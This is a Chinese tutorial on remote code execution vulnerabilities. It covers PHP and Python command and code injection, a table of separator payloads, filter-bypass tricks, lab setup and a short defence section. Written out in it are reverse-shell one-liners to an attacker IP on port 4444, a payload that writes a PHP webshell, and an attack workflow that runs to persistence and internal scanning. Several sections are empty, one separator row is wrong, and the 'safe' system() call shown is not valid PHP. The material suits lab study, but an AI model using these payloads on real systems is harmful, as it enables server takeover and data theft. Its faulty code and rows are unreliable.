一、学习RCE 远程代码执行漏洞
(一)基础定义与核心区分
1. 什么是 RCE
RCE(Remote Code Execution,远程代码执行):攻击者通过可控输入,在目标服务器远程执行操作系统命令或服务端编程语言代码,属于最高危 0day 级漏洞,成功利用可完全接管服务器、窃取数据、横向渗透内网。
2. 两大核心分类(必须分清)
| 命令注入 | Remote Command Execution | Windows/Linux 系统命令 | system()、shell_exec()、exec()、``反引号 | 用户输入直接拼接系统 shell 命令 |
| 代码注入 | Remote Code Execution | 服务端编程语言 (PHP/Python/Java) | eval()、assert()、create_function() | 用户输入被当作程序代码解释执行 |
简单记忆:
- 命令注入:调用系统cmd/bash(ping、dir、ls)
- 代码注入:调用语言解释器(phpinfo ()、os.popen ())
3. RCE 通用危害
(二)命令注入(最易入门,优先学习)
1. 漏洞原理示例(PHP Ping 功能)
漏洞代码:
<?php
$ip = $_GET['ip'];
system("ping -c 4 ".$ip); // 直接拼接用户输入,无过滤
?>
正常访问:http://xxx/?ip=8.8.8.8,执行ping -c 4 8.8.8.8
2. 命令分隔符(注入核心符号)
利用分隔符截断原有命令,拼接恶意命令:
| ; | Linux | 顺序执行两条命令 | ?ip=127.0.0.1;whoami |
| & | Windows/Linux | 后台并行执行 | ?ip=127.0.0.1&dir |
| && | 全平台 | 前一条成功才执行后一条 | ?ip=127.0.0.1&&cat /etc/passwd |
| | | 全平台 | 前一条失败才执行后一条 | ?ip=aaa|whoami |
| | | Linux | 管道输出 | ?ip=127.0.0.1|ls |
3. 基础 Payload 合集
Linux 系统
127.0.0.1;bash -i >& /dev/tcp/攻击机IP/4444 0>&1
Windows 系统
4. 过滤绕过技巧(实战高频)
- 空格被过滤:%09(制表符)、${IFS}(Linux 环境变量空格)
- cat被过滤:more、less、tac、nl替代
- 关键字黑名单:大小写变形CaT、字符串拼接c""at
(三)代码注入漏洞(进阶 RCE)
1. PHP eval 漏洞示例
漏洞代码:
<?php
$code = $_GET['cmd'];
eval($code); // 直接执行用户输入为PHP代码
?>
基础 Payload:
?cmd=phpinfo();
?cmd=system('whoami');
?cmd=fputs(fopen("shell.php","w"),'<?php eval($_POST[cmd]);?>'); // 写入木马
高危危险函数:eval、assert、create_function、include($user_input)
2. Python 代码注入
危险函数:exec()、eval()、os.system()漏洞示例:
import os
user_input = request.args.get('cmd')
eval(user_input)
Payload:__import__('os').popen('whoami').read()
3. 其他衍生 RCE 场景(高频考点)
(四)本地靶场环境搭建(新手必做,合法复现)
方案 1:PHPStudy 快速复现命令注入(最简单)
<?php
$ip = $_GET['ip'];
system("ping ".$ip);
?>
方案 2:Vulhub Docker 靶场(完整漏洞库)
适合复现 Log4j2、Fastjson、Struts2 等框架 RCE
cd vulhub/fastjson/1.2.24-rce
docker-compose up -d
方案 3:DVWA Web 靶场(入门首选)
内置 Command Injection(命令注入)关卡,分低 / 中 / 高难度,练习过滤绕过。
(五)实战利用流程(渗透标准步骤)
- 寻找可控参数:URL 参数、POST 表单、Cookie、HTTP 请求头
- 测试分隔符:传入;whoami观察页面是否回显命令结果
- 执行whoami、id、uname -a判断系统、权限
- 读取配置文件、网站源码路径
- 写入 Webshell 木马获取长期控制
- 反弹交互式 Shell,完整操作服务器
- 扫描内网 IP、数据库、其他服务端口
反弹 Shell 完整操作(Kali 攻击机演示)
;bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
(六)RCE 漏洞防御方案(开发 / 运维双向)
1. 开发层核心防护(根本解决)
- PHP:php.ini配置disable_functions = system,exec,eval,shell_exec
- Python/Java:避免动态执行用户可控输入(eval、反射、反序列化)
- PHP:escapeshellarg() 单独转义参数,不要拼接字符串错误写法:system("ping ".$ip)安全写法:system("ping", [$ip]) 或 system("ping ".escapeshellarg($ip))
2. 运维服务器防护
核心防御口诀
永不信任用户输入,绝不把可控输入直接传入执行函数



